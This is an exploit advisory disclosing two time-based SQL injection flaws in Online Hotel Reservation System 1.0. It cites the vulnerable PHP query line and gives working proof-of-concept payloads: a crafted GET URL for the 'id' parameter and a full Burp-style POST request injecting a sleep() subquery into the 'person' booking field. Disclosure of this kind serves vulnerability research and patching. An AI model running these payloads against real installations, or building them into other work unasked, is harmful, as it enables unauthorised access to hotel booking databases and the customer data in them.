Online Hotel Reservation System 1.0 SQL Injection

2021.01.15
Credit: Mesut Cetin
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: Online Hotel Reservation System 1.0 - 'id' Time-based SQL Injection # Exploit Author: Mesut Cetin # Date: 2021-01-14 # Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html # Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0 ######## Description ######## Vulnerable to SQL Injection. // vulnerable parameter at include/room.php, line 25: $mydb->setQuery("SELECT * FROM ".self::$tbl_name." Where `ROOMID`= {id} LIMIT 1"); ######## Proof of Concept ######### The 'id' parameter at http://localhost/marimar/admin/mod_room/index.php?view=edit&id=11 is vulnerable to time-based SQL injection. Payload: (select*from(select(sleep(10)))a) Proof of Concept: http://localhost/marimar/admin/mod_room/index.php?view=edit&id=(select*from(select(sleep(10)))a) -------- # Exploit Title: Online Hotel Reservation System 1.0 - 'person' time-based SQL Injection # Exploit Author: Mesut Cetin # Date: 2021-01-15 # Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html # Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0 ######## Description ######## The 'person' parameter is vulnerable to time-based SQL Injection. ######## Proof of Concept ####### Payload: (select*from(select(sleep(10)))a) Using Burp Suite, send the following POST request: POST /marimar/index.php?p=booking HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 71 Origin: http://localhost Connection: close Referer: http://localhost/marimar/index.php?p=booking Cookie: PHPSESSID=cf40af0022f401c8cfd0be17fc00a6cc Upgrade-Insecure-Requests: 1 arrival=01%2F19%2F2021&departure=01%2F11%2F2021&person=(select*from(select(sleep(10)))a)&accomodation=0


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